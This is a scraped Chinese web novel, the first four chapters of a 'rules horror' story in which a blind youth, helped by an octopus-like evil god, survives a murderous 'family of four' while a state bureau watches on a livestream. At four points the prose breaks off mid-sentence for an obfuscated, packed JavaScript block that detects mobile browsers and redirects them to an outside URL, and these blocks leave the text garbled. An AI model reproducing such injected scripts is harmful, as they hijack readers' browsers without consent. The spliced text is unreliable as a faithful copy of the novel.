《规则怪谈,但邪神为我冲锋陷阵版》 1. 怪谈:四口之家 因着还有天选者未完成抽奖,其他天选者所在的时空正处于相对静止状态,不少天选者利用这段时间探索起了自己抽取到的技能,宁小满正是其中之一。 不过在探索他的技能前,首先要探索的是他抽取技能时不知道从哪蹦出来的活物。 听着空气中咕噜的叫声,宁小满抬起手朝声源地摸去,滑的、凹凸的……似乎是触手? 再往上,圆乎乎的,好像是脑袋,这个外貌,似乎是…… “章鱼吗?”宁小满喃喃道。 “咕噜!”才不是章鱼,是伟大的邪神! 耳根一烫,抽取到的技能被动触发,原来毫无意义回荡在空气中的“咕噜”声转变成了一大串话。 “邪神?” 飘在半空中的小章鱼听到宁小满的话一惊,“咕?”你能听明白我说的什么? 旋即就无所谓的挥了挥触手,“咕~咕噜!”能听明白也不错~记住,以后你就是我的新娘了! 极致肮脏的灵魂和纯白色的灵魂都等于祭品,但两者不同点在于前者只会是食物,后者嘛,在被供奉的邪神尚未娶妻之前,则会多出一种选择。 即:沦为食物或选择成为邪神新娘。 本来是要选一下的,但无奈塔尔斯这个邪神生长环境有点不正经,选择题在他这自动变为了题干,根本不需要询问任何人的意见。 不等宁小满回神,塔尔斯就自顾自的动了起来。 在空中犹如在水中那样游到宁小满右肩上空,随后缓缓下落,触手抚上宁小满的侧脸,触手尖隔空在无神的眼睛点了点,“你的眼睛……” 宁小满下意识抬起胳膊挡住眼睛,“不好看,别……” “好漂亮,送给我,好不好?” “啊、啊?” —— “救、救命!天选者到底在自言自语什么啊!” “不道啊,咱们也没在里面。” “神特么自言自语,没看见那么大一团马赛克动来动去嘛!天选者明显是在和祂说话啊!” “报~刚从其他国家直播间回来,就咱们国家的天选者那多了一团能活动的马赛克!” “卧槽,完了。” “完什么完,这还没开始呢!少搁这唱衰!” “不儿,不是唱衰,其他国家都没有,就咱国家天选者有,那不就成特例了嘛?” “对啊,这时候成特例可不好。” “有点搞不明白不好在哪……” “因为情况不一样,其他国家天选者的通关经验放到咱们这就没用了,相当于少了借鉴一条路,而且这马赛克还不知道是不是好玩意呢,万一是个坏的,咱们天选者就要开场寄了。” “呃……也不用那么悲观,万一是咱们国家搞出来的什么新型武器呢?” “往大点想想,规则怪谈说不定就是咱们国家搞出来的。” 看着直播间的弹幕,刚成立的怪谈部部长王宾一口气一滴不落的全部喷了出去,“咳咳咳……咳咳!这届网民可真是什么都敢猜!” 一回头对上下属不是吗的眼神,王宾心累的叹了一口气,“其他人不知道就算了,你都在怪谈部了,还不知道什么情况吗?” 刘宇怀摸了摸鼻尖,“咳,我就是觉得他们说的有点道理……” “行了,”王宾打断道“你去,去网络安全部那边调几个人过来,把控一下网上的言论,那些危人耸听的、煽风点火的、不切实际的,一律禁言处理。 另外,让许原去问问,天选者的父母到哪了,这边需要他们配合做些天选者小动作以及微表情记录,以便咱们判断什么时候该发提醒。” “是!” 刘宇怀离开后,王宾端起桌上的茶杯抿了一口茶,思绪回到四个小时前。 那时他还不是怪谈部部长,而是战忽局的副部长,规则怪谈突然降临,夹杂着戏谑的男声响彻耳畔。 “应……请求,规则怪谈降临,将从现存67个国家中挑选67位天选者进行怪谈通关。 注意,天选者一经确定不可更换哦~ 怪谈中,天选者可无限次?复活,代价仅需……,每个怪谈中国家和该国天选者有三次通话机会,每次限十分钟。 天选者每成功通关一个怪谈,该国自然资源恢复八分之一,通关持续八个副本,八个副本后,怪谈消失,呵——” 伴随着最后一声轻笑出现的是众人手机上突兀出现且卸载不掉的怪谈APP,APP图标很简洁,除了黑就是黑,点进去页面也很简洁,只有一个直播待开启的画面,任众人怎么倒腾都卸载不掉也没发现其他东西。 事件太过诡异,在网上闹得沸沸扬扬的,由不得领导层不信。 临危受命,王宾被派来当这个新组建的怪谈部部长,四个小时,从一无所有到现在的班底齐全,兔国不愧大国速度,他们的天选者也不愧、不愧…… 王宾看着直播间内身形纤瘦、双目无神的少年,想到资料上的刚满十九岁,幽幽叹了一口气,先看着吧。 天选者抽取技能并没有避着直播间,观众能看到天选者抽取的一部分卡池,但抽取成功后观众能看到的也就只有或深或浅的金光,是以,观众并不能知道天选者的技能。 那些技能他看着都不错,只除了一个,那就是sss的诡物语,顾名思意就知道是干什么用的,恕王宾短视,他是真看不出来这个技能有什么用。 不过从天选者身边来回飘荡的马赛克来看,他抽中的并不是这个,或许是一个召唤类的技能? 就在王宾思索之际,怪谈中形式陡转…… 在解释完自己不是对方老婆和眼睛不能给对方后,肩膀上突然一冷,随之而来的是背后骤然传来一股推力。 宁小满拼尽全身气力定在原地,迷茫的回头看向不知名的地方问道:“你要干什么?” 为什么突然推他,是原形毕露终于准备杀他了吗? “你累,要坐。”塔尔斯指了指不远处的沙发,示意宁小满去坐。 宁小满看不到努力绷直的触手,他只知道推他的力气越来越大了,这种不可抵抗的情况一时间让他有些害怕,下意识的就蹲了下去。 这一蹲,直接把塔尔斯蹲飞了出去。 塔尔斯迷迷糊糊从墙上把自己扣出来,游到宁小满脸前不满的问道:“你为什么突然蹲下?知不知道我因为用力过猛直接飞了出去!你知道你这样是要被吃掉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030854|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?信不信我……” 看着宁小满脸上缓缓滑落的泪珠,身体反应快过意识。 两秒后,塔尔斯将接住泪珠的触手凑到嘴边尝了尝,“苦的,不好吃,你以后不准再弄这个、这个……这是什么来着?” 触手挠了挠光秃秃的脑袋,塔尔斯一时间有些苦恼,第一次养人类没做好功课,现在遇到麻烦了怎么办?要回家问问主意识吗? 宁小满擦掉眼角因应激而留下的眼泪,吸了吸鼻子小声道:“是眼泪。” “哦哦,眼泪啊,不好吃,以后不要了。” 听着这一点都不讲道理的话,宁小满抿了抿唇,没忍住直接问道:“你可以离开了吗?” “为什么离开?你是我的新娘,我要跟在你身边保护你。” 新娘?这个称呼……敢情刚才半天的解释你是一点没听进去啊! 还有保护,确定是保护不是送他去死吗? 看出了宁小满脸上满满的不信任,塔尔斯憋着一口气将自己憋大两倍,刚想给他来个狠的就察觉到周围静止的时间开始了流动。 顾不得再玩闹,游到宁小满脸前挡在他身边一双绿豆大的眼睛直勾勾的盯着不远处的木门,那里,有东西要过来了。 与此同时,一道只有天选者能够听到的声音响起:“天选者皆已完成天赋技能抽取,第一个怪谈即将开启。 怪谈开启中——怪谈开启成功! 怪谈名称:四口(幸福)之家 通关条件:存活七天或打穿怪谈 怪谈规则——请天选者自行探索。” 聚精会神的听完仅有的几句话,宁小满还没来得及搜寻规则就听到不远处传来了开门声,以及两道一轻一重的脚步声。 “哦,该死的,看看你都干了些什么!我和你妈妈不过出门半天你就把墙砸了个洞,还有地上的垃圾,不是说了让你收拾干净?为什么还是出门前那样!” “哼哧……哼哧……” 一阵训斥后是粗重的喘息,光是听着宁小满都能想象到说话的人有多么庞大的体型…… “该死!为什么不说话!为什么不解释!该死……该死……” “墙上的洞不是……”宁小满反应过来开口解释还没说几个字就被强行打断了。 “哦!够了~不乖的孩子闯了祸后总是想着狡辩而不是承担责任,你的那些狡辩留给你自己听吧,我累了,老婆,接下来就交给你了。” “好的,亲爱的,半个小时后我保证会还你一个干净整洁的家和一个听话的孩子。” 温柔的女声硬生生给宁小满听出了一声冷汗,因为目不能视,他对声音就更加敏感一些。 女声乍一听很温柔,但底下潜藏的语气绝对算不上友善,而且别忘了,他现在可不是在家,而是在怪谈中,怪谈的诡异对待闯关的天选者会友善吗? 答案显而易见:不会。 在逐渐逼近的脚步声中已经站起身的宁小满后退两步,后背碰到墙的一瞬间宁小满才知道原来从进怪谈开始他就站在墙边不远处。 “宝贝,你今天特别不乖,没有完成临走前布置的任务就算了还想着为自己狡辩,惹恼了爸爸,妈妈要惩罚你……” 2. 四口之家 妈妈说到这里声音微顿,目光中宁小满身上扫视一遍,猩红的舌头舔了舔唇角,“不过宝贝放心,妈妈最爱你了,是不会害你的,妈妈只要宝贝的一条手臂就好。” 闻言,宁小满松了一口气,不是现在就要他的命就好。 无神的眼睛闭起,宁小满伸出左手,主动做了抉择,在情况不能更改的情况下,保留他的惯用手无疑是对他的有利的。 妈妈看到宁小满这么识相,眼神中闪过一抹满意之色,不过很快,满意之色就被对人类血肉的贪婪给盖了过去。 原来停在宁小满五步之外的她继续前进,一步、两步……第三步还没有迈出去,只听“咕噜!”一声,妈妈直接倒飞了出去。 “砰”的一声就步了塔尔斯刚才的后尘,成功嵌进了墙里。 宁小满看不见发生了什么只能听到声音,但是盯着直播间的众人却是看的清楚。 那穿着红裙长相温婉的女人眼看着就差三步就要碰到宁小满时,静止不动的马赛克突然拉长,再然后女人就飞了出去。 —— “我、我滴妈妈呀,这马赛克这么强的吗?” “嘶,一招秒,接下来稳了啊兄弟们。” “稳不稳的还不确定,毕竟还有个爸爸没有出手呢。” 说曹操曹操到,弹幕刚发完爸爸还没有出手,楼上就传来了属于爸爸的怒吼声,“吵什么吵!都不想活了是吧?” 根本就不知道发了什么的宁小满满脸无助的睁开眼睛,双眼之中满是茫然,刚才……发生了什么? “刚才有人想欺负你,我帮了把她打飞了出去。”塔尔斯游到宁小满面前用触手碰了碰他的侧脸,邀功道。 听出塔尔斯话里话外邀功的意味,宁小满迟疑着道:“谢、谢谢?” “咳!不客气,你亲我一下。” 塔尔斯说完不等宁小满同意就自顾自将触手递到了他唇边,知道他看不见,还特意提醒道:“嘴巴往前一点点就可以亲到哦。” 宁小满僵着身子站在原地不动弹,塔尔斯等了一会没等到该有的亲亲,小眼睛里面划过一丝精光,超绝不经意往前游了一点,触手碰到唇瓣的一瞬又快速收回。 被亲到的那根纯黑色触手在空中甩的像小狗尾巴一样,带动的风成功让宁小满僵直的身子软了下来。 刚才的动静宁小满能够听出是小章鱼将什么东西撞飞了出去,结合已经没有动静的妈妈,飞出去的是什么已经非常显而易见了。 虽然他现在还没有摸清楚小章鱼是好是坏,但目前来看应该是对他没有什么恶意。 楼上的爸爸只是怒吼了一声就没了动静,倒飞出去的妈妈不知去向,他现在能够接触的诡异只剩面前这个自称邪神的小章鱼,是他弄清自身情况的最好时机。 宁小满想了想试探性的说道:“我累了,需要一个休息的地方,但是我找不到我的房间了,你能帮我吗?” 根据他以往听的小说来看,他的房间,很快概率会有关于这个怪谈的规则纸条在…… 他的新娘第一次请他帮忙了,好耶!塔尔斯内心欢呼一声,八条触手加速都快转成了螺旋桨,飞奔到嵌在墙上的妈妈身边。 爪子微微一动,嵌在墙上的妈妈就被一股黑色的力量裹挟着飘在了半空中,“咕——”醒来。 命令式的语句后是妈妈蓦然睁开的眼睛,看着眼前看不清身影的塔尔斯,“你、你不属于这里,你……” 塔尔斯不耐烦听这些废话,眼中闪过一抹幽光打断道:“他的房间。” “嗬、嗬!一……一楼楼梯边那个房间。” 得到答案,塔尔斯不再在妈妈面前停留,转身朝宁小满游去。 转身的瞬间,裹挟着妈妈的黑色力量突然爆发出一阵强力的精神污染,震的妈妈再次晕了过去。 无人看到,在晕过去前妈妈眼中闪过了一抹绿光…… “满满,我知道你的房间在哪了,我带你去!”塔尔斯飘在宁小满身侧伸出一根触手拉住他的右手朝楼梯边走去。 因着看不见外加这里不是熟悉的家,尽管有塔尔斯的指引,宁小满走的还是踉踉跄跄,几次险些摔倒。 毫不夸张的说,手碰到门把手的瞬间宁小满整个人都放松了不少,再让塔尔斯引着他走下去,他非得直接撞墙上不可。 手掌包裹住门把手下按,房门打开的瞬间几缕长发垂落,视角上拉,那是一颗脸上带着狞笑的人头。 感觉到不对,宁小满握紧手中的触手问道:“我前面有什么吗?” 听到宁小满发问,倒吊着的人头精神一震,脸上的狞笑都更真实了几分,就等宁小满发现他被吓得尖叫好出手。 塔尔斯用豆豆眼看了一眼倒吊着的人头,不甚在意的说道:“就是一个丑丑的门帘,抬手拨开走进去就行。” 脸上一堆横肉,一点都没有他用来装饰洞穴的白骨好看,丑死了。 鼻尖隐隐传来的腥臭味告诉宁小满面前的可能并不是塔尔斯说的门帘,但他看不见,这就有点难办了。 “可以把门帘扔了吗?我不怎么喜欢房间挂门帘。” “不喜欢就扔呗。” 见小章鱼没有领会到他的意思,宁小满抿了抿唇,也不绕弯子了,干脆利落的道:“我看不见,你能帮……” 嗖—— 破空声响起,伴随着惨叫,人头被塔尔斯从大开的窗户扔了出去。 做完这一切后,塔尔斯用来扔人头的两条触手合在一块像是人手似的拍了拍,语气轻松道:“好了,进去吧。” “好。” 抬脚走进房间,宁小满在塔尔斯的指引下来到床边,侧身坐下,摸索着够到床头柜,拉开抽屉,手伸进里面摸着里面的物体。 钢笔、乒乓球拍……有了,笔记本! 宁小满拿着笔记本坐直身子,打开笔记本时本来还担心看不见怎么办,打开后却由衷的松了一口气,还好还好,是盲文,他可以无障碍阅读了。 看着宁小满手中的笔记本王宾猛地坐直身子,“去找两个盲文教授过来,要快!” “是!” 塔尔斯游到宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030855|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小满手边戳了戳他手中打开的笔记本,“咕噜?”这是什么? “笔记本,用来记容易忘记事情的本子。” “咕噜!”那要记下今天的日期! 宁小满甩开右手上的触手敷衍的应道:“好好好,记下。” “咕~噜~” 塔尔斯闻言高兴到把身体拧成了麻花,高兴完一看宁小满根本就没看他,正聚精会神的用手摸着翻开的笔记本。 塔尔斯本来是想闹的,但是看着他的新娘的侧脸,他就忘了闹了,只顾得沉浸在新娘的美貌中了。 手指划过一串串盲文,一条条规则迅速被熟记于心: 【四口之家怪谈规则: 1、你是家中的小儿子,你有一个哥哥、一个妈妈、一个爸爸,记住,家中只有你们四个 2、你备受宠爱 3、爸爸很爱你,但他的工作压力很大,偶尔会在家中宣泄情绪,请不要打扰宣泄情绪的爸爸,不然他会很生气 4、妈妈很爱你,但她更爱你的爸爸 5、在这个家中,哥哥是最爱你的存在,不管你提出什么要求他都会答应,为了防止你被惯坏,爸爸妈妈将哥哥送入了封闭学校,哥哥只有周日才会回来 6、家中没有养宠物,如果听到猫叫或者狗叫立刻告诉爸爸或妈妈 7、家中不允许剩菜,请自觉扫清饭桌残局 8、要做乖孩子,坏孩子是没有好下场的 最后,切记,你们是幸福的四口之家】 “都翻译完全了吗?”王宾扭头朝一边道盲文教授问道。 见盲文教授比了个OK的手势王宾方才缓下一颗心,连续切了好几个直播间,见他们还在苦兮兮的打扫卫生连房间的门都没摸着,说不清是得意还是怎么,反正不是高兴。 他们是领先了不错,但也意味着他们的天选者背负了比其他天选者更大的压力,连个抄作业的都没有。 突兀的,王宾想到了规则怪谈话中被省略的代价,天上不会掉馅饼,规则怪谈的奖励是资源恢复,那么相对的,他想要获得的就肯定比资源更珍贵。 规则怪谈,所图甚大啊—— 又摸了几遍盲文,确定将这几条规则熟记于心后,宁小满把笔记本放到一边,将一直在他腿上拧着身子打转的小章鱼捧到脸前,细声细气的问道:“你刚才叫了我满满,对吧?” “昂!好听!” “可是,我记得我并没有告诉你我的名字吧?” 塔尔斯目光游移着不敢对上宁小满无神的双眼,虚着声音说道:“邪神无所不知,不用你告诉。” “这样啊——那你知道怪谈为什么会降临吗?” “知道,是因为……呃!” 宁小满正聚精会神的听着呢,突然就没了动静,不免有些奇怪的用脸贴近塔尔斯碰了碰,“你怎么了?” “被、噗——被电了,咳咳!”塔尔斯张嘴吐出一口黑气,有些沮丧的用触手碰了碰新娘的下巴,“抱歉啊,不能告诉你了。”老家伙不允许他透露关于交易的事。 3. 四口之家 “没关系,”因为他本来也没报什么能问出来的希望,“反倒是你,身体没被电出什么问题吧?” “没、没有……” 塔尔斯晕晕乎乎的宁小满,豆豆眼中盛满了绿光,如果……如果他没有听错,他的新娘刚才关心他了对吧?对吧对吧! —— “新娘、名字、怪谈为什么会降临……咱们的天选者到底在跟什么东西交流啊?好好奇。” “好奇+1,真想看看马赛克下的是什么东西。” “根据我家养章鱼二十年的经验来看,应该是章鱼。” “哦?楼上这位朋友,何以见得?” “身形,虽然这马赛克打大了一些,但是从马赛克的活动轨迹上看,马赛克下的应该是软体生物,外加祂的攻击方式和画面,真的很像章鱼。” 窥屏上瘾的王宾在成千上百条弹幕中看到这条消息,莫名感觉很有道理,“小杨,去,找两个养章鱼的专家过来。” 杨凌从成堆的文件中抬起头,反应了好一会才反应过来王宾给自己下达了指令,放下笔揉了把脸,“好的部长,我这就去。” 看着起身离开的杨凌,再低头看看手边成堆需要分拣的文件,刘宇怀满脸的羡慕,天可怜见的,为什么没有叫他呢?他也想出外勤啊! 这些有关其他国家天选者的行动轨迹资料,他是真的看不下去了! —— 宁小满满脸紧张的捧着不知道为什么突然软了的小章鱼晃了晃,没听说过活的好好的突然就死了的案例啊,现在怎么办,他要把死了的小章鱼扔了吗? 晕乎劲过去,塔尔斯用两只触手撑着身子碰了碰宁小满的脸,“吾名塔尔斯,你可以叫我塔尔,我允许你这么叫。” 塔尔?原来没死啊,这一刻宁小满都说不清自己内心是什么感受,是庆幸是不舍还是后怕?或许都有点。 “叫我名字。” “塔……塔尔?” “嗯!”塔尔斯重重的应了一声,晕乎劲重新上来,好好的邪神就像是喝了假酒一样,游动的动作都歪七扭八的。 宁小满本来因为手上猛然一轻而有些紧张的心情,在感受到左肩上倏然一重时放松下来,右手抬起轻轻在塔尔斯身上戳了一下,打着商量道:“你好好待着,我在房间内找一下线索。” “好哦~” 同一时间,一处独立于其他怪谈的空间内“轰隆!”一声巨响,矗立了许久的山峰就那么倒了下去。 究其罪魁祸首,不过是一根一闪而过的黑影,似鞭更似某种神奇生物的肢体…… —— “如果没听错,刚才天选者说的话是自动被消音了吧?” “是的,没错,就是被消音了。” “为防误会,直播间还打了字幕。” “哈?字幕?有吗?” “有,就‘*……**?’这样的字幕。” “结合上下文,应该是叫的那个章鱼的名字吧。” “这么快就确定是章鱼了?” “不确定,具体的等国家通知,但是私底下叫叫也不是啥大问题,不过根据弹幕看,我觉得叫他三星也不错。” “三星?我嘞个乖乖啊,你是会看弹幕取名的。” “话说回来,你们发弹幕这么有活力,是都吃饱了吗?” “吃饱个屁啊,一天天挣得根本就不够吃的。” “上班没事干,可不就摸鱼发弹幕咯,反正比干活省力气。” “摸鱼?现在还没被围起来的河吗?在哪!我也要摸!” —— “咚咚咚——宝贝,吃饭了,今天有你最喜欢的鱼哦。” 宁小满停下翻找衣柜的手,朗声应道:“知道了妈妈,我马上就出来。” 听到宁小满的声音,妈妈眼中闪过一抹红光,脸上的表情逐渐狰狞,开口却是温柔的声音:“快点哦宝贝,不然爸爸会生气的。” 宁小满起身摸索着朝房门走去,途中经过床边时,要不是塔尔斯及时扶住,此刻宁小满可能已经躺在地上了。 塔尔斯豆大的眼睛里面满是怒火,当然,不是冲着宁小满的,而是冲着来叫人吃饭却没有进来扶着人吃饭的妈妈的。 啪的一声甩出一根触手用吸盘吸住房门,“扶着我的触手走吧。” “谢谢。”宁小满并没有逞强非要自己走,而是自然的道了谢后扶着拉长的触手往房门的方向走去。 尽管走路时宁小满有意加快速度,但等到了饭桌边还是听到了爸爸生气的问话:“你干什么去了!这么晚才过来,做好饭叫你吃饭已经满足不了你了是吗?用我端着饭喂你吗?啊?说话!” 你哒哒哒说一大堆,也没给我说话的机会啊,宁小满有些无语的想道。 “没干什么爸爸,只是因为我看不见,过来这边的路上有很多杂物,走的慢了些……” “啪!”爸爸将筷子重重摔在桌上,哼哧哼哧喘着粗气,赤红着一双眼紧盯着宁小满,“够了!又是狡辩,你真是个坏孩子,中午妈妈今天刚因为推卸责任教训过你,晚上就又犯,坏孩子……教不好……” 说着说着,爸爸突然抬手捂住额头似乎对这种情况很是头疼,“坏孩子,该得到教训的。” 妈妈在一边捂着嘴痴痴的笑道:“坏孩子,是该得到教训,老公,你要动手吗?” 不知道是不是错觉,宁小满总觉得妈妈说这话是在拱火,就好像她很迫不及待看到爸爸动手,然后和她一样倒飞出去。 “啊——啊、是该教训一下了。”爸爸用手揉了揉太阳穴,旋即放下手站起身,比之宁小满高大不少的身形,令他人还没有逼近影子就已经笼罩了宁小满。 不安感笼罩全身,宁小满没有一丝迟疑转身就跑,他不熟悉这座陌生房子的格局,但他的方向感不错,按照来时路跑回房间不是问题。 房间有门,关上后挡住爸爸一小段时间不是问题,后续有可能爸爸打不开自行离开,也有可能踹开门进来一定要揍他。 后者发生也没什么,他的房间在一楼,他可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030856|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通过窗户跳出去。 通过妈妈中午被塔尔斯打的倒飞出去,到了晚上还是故作样子做了饭菜叫他吃饭就知道,他有他的规则限制,爸爸妈妈一定也有他们的规则,更甚者,其中一条很有概率是粉饰太平、做幸福的一家。 所以,只要躲过爸爸怒气爆发的这段时间,这波应该就过去了。 塔尔斯趴在宁小满肩头已经做好了来一个打一个的准备,猛地被带着跑远还真是一下没回过神,被带着跑到了房门口方才回过神。 进门的一瞬间塔尔斯伸出两根触手顶在房门两侧从宁小满肩上下来,一根触手把呆住的宁小满推到房内,一根触手将房门关上。 最后四根触手则是变长向后飞去,不一会缠住已经没了人样的爸爸回来,被缠住的爸爸恍然惊觉不对,“嗬、你是什么东西,为什么会在我的怪谈中……” “东西?”塔尔斯重复了一遍这两个字,冷笑一声收紧缠着爸爸的触手,“你又是什么东西?哪个死了轮的到你来问我?” 逐渐收紧的触手不断消磨着身体内的力量,爸爸由原来两米高的怪物复又变回原样,哼哧哼哧喘着朝不远处喊道:“过来帮忙!” “来了——”妈妈在厨房远远应了一声,拿着挑选好的厨具、哼着喜欢的歌一步一步走向被触手缠身的爸爸。 塔尔斯看着不断靠近的女人歪着头没有动作,这女人身上是有杀气不错,但这杀气不是冲着他的,而是…… 目光下移至因呼吸不畅脸色涨的通红的男人身上,而是对这个被他束缚住的男人的。 身为邪神,了然世间一切恶念的塔尔斯仅仅几秒就想了数个夫妻相残的剧本。 剧本他都很喜欢,但他不喜欢沦为其中的角色,像棋子。 因着不喜欢,在妈妈举起刀从后边刺向爸爸时塔尔斯故意动了一下,成功令爸爸从必死变成了重伤。 妈妈有些诧异的看向塔尔斯:“你……” “贱人!你敢背叛我!”爸爸抬手捂住伤口站起身转身恶狠狠的看向妈妈,“我杀了你!” 闻言,妈妈收回看向塔尔斯的目光转而看向爸爸,眼中满是嘲弄:“呵,杀我?老不死的家伙,先不说你受了重伤,单说平时,被规则限制的你也杀不了我吧?” “这是我的怪谈,我想杀你,谁都拦不了!” 看爸爸从人模样变成怪物模样,妈妈不甘示弱,也变成了怪物形态。 做人时,爸爸比妈妈高一个半头,做怪物时,却变成了妈妈比爸爸高一个半头…… 爸爸看着比自己高一个半头头的老婆,咧开嘴角嘲笑道:“你也就有个花架子个子了,体内诡力连我的一半都没有,看我吞了你再换个老婆。” “再?”即使妈妈自认不爱现在的老公,但是听到这个字仍是一阵心头火起。 “不知道吧,在你之前,我有过三个……” 见两人光打嘴炮不打架塔尔斯有些不耐烦的用触手挠挠额头,同时不动声色的放出了一丝邪念,不多,但足够让两人直接打起来。 4. 四口之家 受邪念影响,本来还想继续质问的妈妈拿着菜刀就冲了上去,爸爸更是在妈妈冲过来之际一脚踢出,直接将妈妈踢飞两米远。 紧跟着一个俯冲,战场成功从房门口转移到了客厅。 塔尔斯悠哉悠哉的坐在门框上看着不远处的打斗,呼吸着空气中漂浮的打斗气息,豆豆眼里面满是愉悦。 对、就是这样,打吧打吧,打死一个算一个,打嘴仗有什么用呢?平白浪费口水。 被塔尔斯那么猛地一推宁小满人是进了房间没错,但也成功摔倒在了地上。 摔倒的那一刻,宁小满整个人都是懵的,不想进来说一声不进不就行了么,为什么要推他呢? 他不懂啊,他是真的不懂…… “小满!满宝!能听到吗?” “满宝!呜呜……” “老婆,别哭了,一会满宝该担心了。”宁远安环着顾宛霜的手紧了紧,意在提醒她别忘了身后的那一堆人。 “爸爸!妈妈!” 听到熟悉的声音宁小满从地上爬起来左右张望,企图找到传来声音的方向,然而房间太过空旷,他、找不到…… 顾宛霜哽咽一声,哆嗦着嘴唇开口道:“满宝,妈妈在你左边……再往右边转一点点,嗯,就是这个方向,满宝干的真好。” 不过是干了一些小事就成功得到妈妈夸夸这一点令宁小满脸上洋溢着开心的笑容,“妈妈,你跟爸爸还好吗?” “好、挺好的,你呢,在里面怎么、怎么样?” 问着问着顾宛霜的眼泪就又下来了,全程直播,她的满宝过得怎么样她又怎么能不知道呢,她的满宝啊,今年才十九岁,为什么就被选进规则怪谈内了呢? 隐隐的呜咽声传到耳中,宁小满抿了抿唇小声道:“妈妈,我在里面挺好的,认识了新朋友,体验了一直想玩没办法玩的解密游戏。” 说完,害怕妈妈不相信,宁小满特意强调道:“我解密很厉害的!不是我一个人觉得,还有塔尔斯也是这么觉得的!” 看着哭到说不出话的妻子,宁远安安抚的轻拍她的后背,目光温柔又悲伤的看着直播间内的儿子迎合道:“小满今天做的很棒,解密很厉害,比其他国家的人都棒。” 就是儿子后边说的人名他没有听清,光看见嘴一张一合了。 “也没有很厉害啦,一般厉害,塔尔斯也很厉害,如果不是他帮我,我可能就要失去一条手臂了。” 听到差点失去一条手臂,顾宛霜好不容易止住的眼泪刷的一下又落了下来,“满……我的满宝啊。” “妈妈,你别哭了,我很好的。”宁小满听见哭声,一脸严肃的看着虚空安慰道。 这边,王宾看见时间已经过半,朝宁远安挥手示意接下来该他们接手了。 宁远安偏头颔首表示自己知道了,回头看着乖巧听话的孩子说了最后一句话,“多注意安全,爸爸妈妈不求其他,只希望你平安。” “对……对,平安。” “我知道了爸爸妈妈,你们两个也要好好的,等出去了我还要吃妈妈做的饭!” “好……” “宁先生,你好,自我介绍一下,我是国家怪谈部部长王宾,因着时间紧张原因,接下来咱们两个闲话不多说,采取快问快答模式可以吗?” 听到父母声音的一瞬间宁小满就知道对面肯定不止父母在,现在听到陌生的声音也不吃惊,听完了对方的话更是爽快点头:“可以,开始吧。” “好,”王宾点点头拿出问题本就开始了询问:“你身边跟着的活物是?” “一只小章鱼。” 王宾刷刷记下几笔后接着问道:“他的名字。” “塔尔斯。” 记录的笔一顿,旋即重新动起来,写下两个字——三星。 “新娘是?” 宁小满抿了抿唇,有些不好意思的指了指自己,“我,塔尔斯说他是邪神,要我给他做新娘。” 邪神! “最后一个问题,你的天赋技能是?事先声明,这个问题可回答可不回答。” 后边不知道有没有联合副本,国家内部并不一定安全,如果记录的文件被偷走,对方很有可能专门针对天选者的天赋技能研究出破解方案。 虽说在怪谈中天选者们看上去是天然的合伙人,但正如那句话——科学无国界,科学家有。 同理,天选者们也是,他们能保证不针对其他国家的天选者,却不能保证其他国家的天选者不针对他们国家的天选者。 所以,王宾并不希望宁小满就这么说出他的天赋技能。 从后边那句话宁小满就知道了王宾的意思,但他的天赋技能,讲真的,是真没什么好针对的,而且根据塔尔斯在他身边的表现,说出去其他人还不一定信。 “我的天赋技能是sss级的诡物语,能够和有神智的所有诡异无障碍沟通。” “哦哦哦,这天赋技能好啊,这天赋技能不错。” 宁小满无奈的扯扯唇角,敢问还能再敷衍点吗?这不信任感是一点不带藏啊。 “问题问完接下来就是情况汇总,你不用说话,只听就好,许原——” “是!”许原捧着用来记录的文件上前两步,朗声念道:“截止半个小时前,除本国,共有36位天选者无伤通过第一关找到自己的房间,30位天选者天选者以身体不同部位为代价通过第一关找到自己的房间,无死亡玩家。 晚饭发难,23位玩家无伤过关,32位玩家以肢体为代价通关,11位死亡后自动跳过关卡。 经观察,死亡代表重置,之前肢体有缺失的玩家重生后身体完整,无外表损失。” “但并不建议以死亡重置躯体,经心理学专家和微表情专家观察,这对心理的负担很大。” “我知道了王部长,还有其他要提醒的吗?” 明知道屏幕中的少年看不见,王宾还是理了理衣服才道:“怪谈部部长王宾携下属若干祝英雄凯旋!” “祝英雄凯旋!祝英雄……” 宁小满还没来得及说什么,声音就全部消失了,他知道,这是第一次通讯时间到了。 垂在身侧的手悄悄攥紧,自己都说不清到底是英雄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 